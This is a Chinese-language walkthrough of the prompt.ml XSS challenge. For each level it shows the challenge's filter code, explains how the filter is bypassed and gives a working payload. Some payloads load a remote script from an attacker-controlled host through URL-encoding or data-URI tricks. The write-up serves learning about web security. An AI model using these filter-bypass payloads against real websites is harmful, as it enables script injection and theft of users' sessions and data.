网址
https://prompt.ml/
level 0 (闭合)
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
闭合前面的双引号
"><img src=1 onerror=prompt(1);>
level 1 ( <…>绕过 )
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
过滤了<>,会把<…>变为空,所以不能有 >,而 <article>....</article>
会把之间的变为普通文字,所以要把后面的注释掉。
<img src=1 onerror=prompt(1);//
level 2 ( =,(绕过 )
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
过滤了=、(,用编码绕过。
<svg><script>prompt(1)</script>
这里的 svg
标签不能去,因为 script
内部文本遵循不转义的规则,而 svg
在 HTML 中属于外来元素,意味着规则不由 HTML
定义,而是由 svg
自己定义。也就是说 HTML 在使用前会先将 xml 实体解析再加入标签。
还有一种利用 js 的 eval 函数,绝了,这里的 `` 是模板字符串,也就是里面可以用变量和表达式,eval会自动解码执行。
<script>eval.call`${'prompt\x281)'}`</script>
或者
<script>prompt.call`${1}`</script>
level 3 ( -> 替换为 _ )
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
用 --!> 闭合注释
--!><img src=1 onerror=prompt(1);>
这边学到一个姿势:
--!><svg/onload=prompt(1)
level 4 同源的正则过滤
( /^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))
)
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
浏览器支持这样的url:http://user:password@attacker.com。但是 http://user:password/@attacker.com 是不允许的,但是由于 decodeURIComponent 函数的原因,http://user:password%2f@attacker.com 用 %2f 就可以绕过了,这边要再自己的服务器上构造<script>prompt(1);</script>
。
//prompt.ml%2f@vps/1.js
level 5 ( replace(/>|on.+?=|focus/gi, ‘_’) )
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
限定了 input 标签的类型,<input value="' + input + '" type="text">
,换行重写类型,这是因为后面的 type 不能覆盖前面的 type。
" type="image" src=1 onerror
="prompt(1)
level 6 表单提交action过滤
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
从上面的源码中可以看出,是构造一个类似 http://httpbin.org/post#{"name":"Matt"}
这种格式的,#
前面的是 formURL
,也就是 form
表单 action
属性的值,后面的 post
数据构造 input
标签。在传的时候可以看到,对第一个 action
属性值做了过滤,我们可以令 action
的子标签,也就是 input
下的属性名设置成 action
,这样就可以绕过了,原理就是会优先指向 name
为 action
的子标签。
level 7 利用 script 标签的注释绕过长度限制
题目告诉我们是以 #
划分,且每个标题长度不超过 12
。
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
payload :
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
从下图生成的标签格式可以看出(红括号内是注释掉的),最后只剩 <script>prompt()</script>
还有一种跟巧妙的方法,我们可以通过引号之间的闭合来绕,用 onload
执行 js
语句
"><svg a=#" onload='/*#*/prompt(1)' //body 标签也可以
<p class="comment" title=""><svg a="></p>
<p class="comment" title="" onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>
level 8 特殊字符换行,–>注释
过滤了 \r \n < "
,可以 unicode
字符绕过,且 -->
在 js
中也可以当做注释使用
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
payload
在 console
处运行一下
level 9 unicode 编码加远程加载 js 绕过
会把 <
后面的字母变为 <_
,还会对代码全部转大写,前者可以用 unicode
绕过,标签大小写没事,但是里面的 js
代码是大小写敏感的,可以用远程 js
加载。
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
payload:
<script/src="XXX/1.js"></script>
<ſcript/ſrc="xxx/1.js"></ſcript>
level A
题目会先对输入进行 url
编码,这样我们就无法利用 unicode
绕过,但是它后面又做了一个替换把 '
替换为 空
,也就是说如果我们在 prompt
中间插上 '
,那么经过第二个替换就会变成 prompt
。
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
payload:
pro'mpt(1)
level B 利用运算符绕过
过滤了很多特殊的字符。
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
如果没有禁冒号的话,我们使可以闭合来绕过的,但是这边禁用了,这边说一下大佬的思路。
如下所示,是可以成功弹窗的,双引号里可以是任何字符,这里的 in
或者 instanceof
是运算符,且 1(prompt(1))
也是可以成功弹窗的,尽管这两个方法都会报错。
(prompt(1))instanceof"1"和 (prompt(1))in"1"
level C 字符串转数字
和 level A
不一样的是,这一题是先过滤了单引号,再过滤 prompt
的。
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
在 php
中我们可以利用数学函数把数字转为字母执行 shell
,这题的原理差不多。
由上面两张图可以看出此方法是可行的,大佬的各种骚操作 真是令我大开眼界啊。
payload:
eval((630038579).toString(30))(1)
利用 concat 连接,String.fromCharCode
eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
level D 原型链和特殊替换
extend
接收的是一个对象,且里面有一个这样的语句 obj[prop] = source[prop];
这不就是很典型的原型链污染嘛,后面判断 source
有没有其他字符,有则删除 source
属性,又过滤了双引号,判断格式是否正确。
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
从下图可以看出当我们把 a
属性删掉的时候,它会通过__proto__
向上找 a
属性,如过上面都没有则会返回空。
思路有了,那么还有个问题怎么绕过闭合?它过滤了双引号,我们无法用双引号来绕过了。这边大佬给了一个特殊的替换方式。
通过例子来看一下:
//$$:输出一个$
'123456789'.replace('34',"$$xss");
'12$xss56789'
//$&:插入到匹配到的字符串后面(不会删掉匹配到的字符)
'123456789'.replace('34',"$&xss");
'1234xss56789'
//$`:复制匹配到的字符串前面的那部分,并把字符串插入(会删掉匹配到的字符)
'123456789'.replace('34',"$`xss");
'1212xss56789'
//$':复制匹配到的字符串的后面的那部分,并把字符串插入(会删掉匹配到的字符)
'123456789'.replace('34',"$'xss");
'1256789xss56789'
更具上面的那个,如果我们利用
$`
那么不就可以复制 {{source}}
之前的字符串,也就是 <img src="
,双引号不就来了么。
payload:
{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
level E iframe 的 src 编码
做了一下几个处理:
1.全部转大写
2. 把 xxx:
替换为 data:
3. 把 &+\空格 vps
替换为 _
那么应该就是利用 data 来绕过,也可以看成 data 伪协议,就是不需要额外请求,直接在网页中嵌入文件。
格式如下:
data:[<MIME type>][;charset=<charset>][;base64],<encoded data>
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
payload:
"><IFRAME/SRC="x:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvcHJvbXB0LmpzIj48L3NjcmlwdD4=">
level F <!-- -->注释符,模板字符串
过滤了 *
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
可以在 svg
标签中使用 html
注释 。
payload:
"><svg><!--#--><script><!--#-->prompt(1<!--)#-->)</script>
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>
或者利用模板字符串:
模板字符串:
反引号 ` 代替引号 ’ 或 ",提供了字符串插入的功能。
${x} 是模板占位符,js 把 x 生成的值插入到最后的字符串里面。
"><script>`#${prompt(1)}#`</script>
level -1 函数提升
过滤了 }<
,那么怎么闭合呢?
记得在 level D
里就提到过几种特殊的替换方法,那么如果我们用 $&
替换不就可以了吗,因为 $&
是不会删掉匹配到的字符串的,且 {{injection}}
中不是有个 }
,这不就闭合了吗。
function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');
return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}
那么怎么绕过 if 呢?
history.lenth 返回的是浏览历史列表中的网址数量。
首先我们要知道,不管我们怎么替换,我们替换的值是肯定在 if
表达式里面的,也就是我们要在它判断前就要做一些操作。
这边官方是根据一个叫函数提升的知识点来绕过的。
什么是函数提升?
简单点解释就是:正常情况下 JS
引擎会在正式执行之前先进行一次预编译,在这个过程中,会首先将变量声明及函数声明提升至当前作用域的顶端。
那么也就是说即使我们在 if
里面定义一个函数,这个函数不会像其他语言,一定要通过 if
判断才能初始化,js
会在编译阶段就初始化,那么也就绕过了 if
。
测试:
也就是说我们要构造:
function history(l,o,r,e,m, 1138个)$&prompt(1)
payload:
function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)$&prompt(1)
level -2 条件编译
用 @cc_on 语句、@if 或 @set 语句来激活条件编译。
条件编译解释处
function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');
return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
}).join('\n');
}
具体原理应该就是 if
判断不成功也就不往下执行,也就和注释功能相当了,和普通的 if
相比没有 {}
包围,但是我这边没有打成功,可能是这个 js
语法现在浏览器不支持识别。如果有人知道原理或者原因的话希望能告知>_<!!
payload:
"><script>@if(0)#@end;prompt(1)@if(0)#@end</script>
level -3 SOME(反向点击劫持)
对现在的我来说有点那啥了,吃不消
function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return '<input name="query" type="hidden" value="' + query + '">' +
script.outerHTML;
}
payload:
"onclick=prompt(1) id="a";callback=a.click;
level -4 Chrome解析错误
说实话解释我都没看懂
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body οnlοad="think.out.of.the.box(' + input + ')">';
}
payload:
)},{0:prompt(1
新版本的 Chrome
已修复。
总结
xss 博大精深啊,各种姿势层出不穷,我好捞啊!
参考
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#level-15
https://blog.csdn.net/qq_35078631/article/details/77073233?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166502490216782428642807%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=166502490216782428642807&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-77073233-null-null.142^v51^pc_rank_34_2,201^v3^control&utm_term=prompt%281%29%20to%20win&spm=1018.2226.3001.4187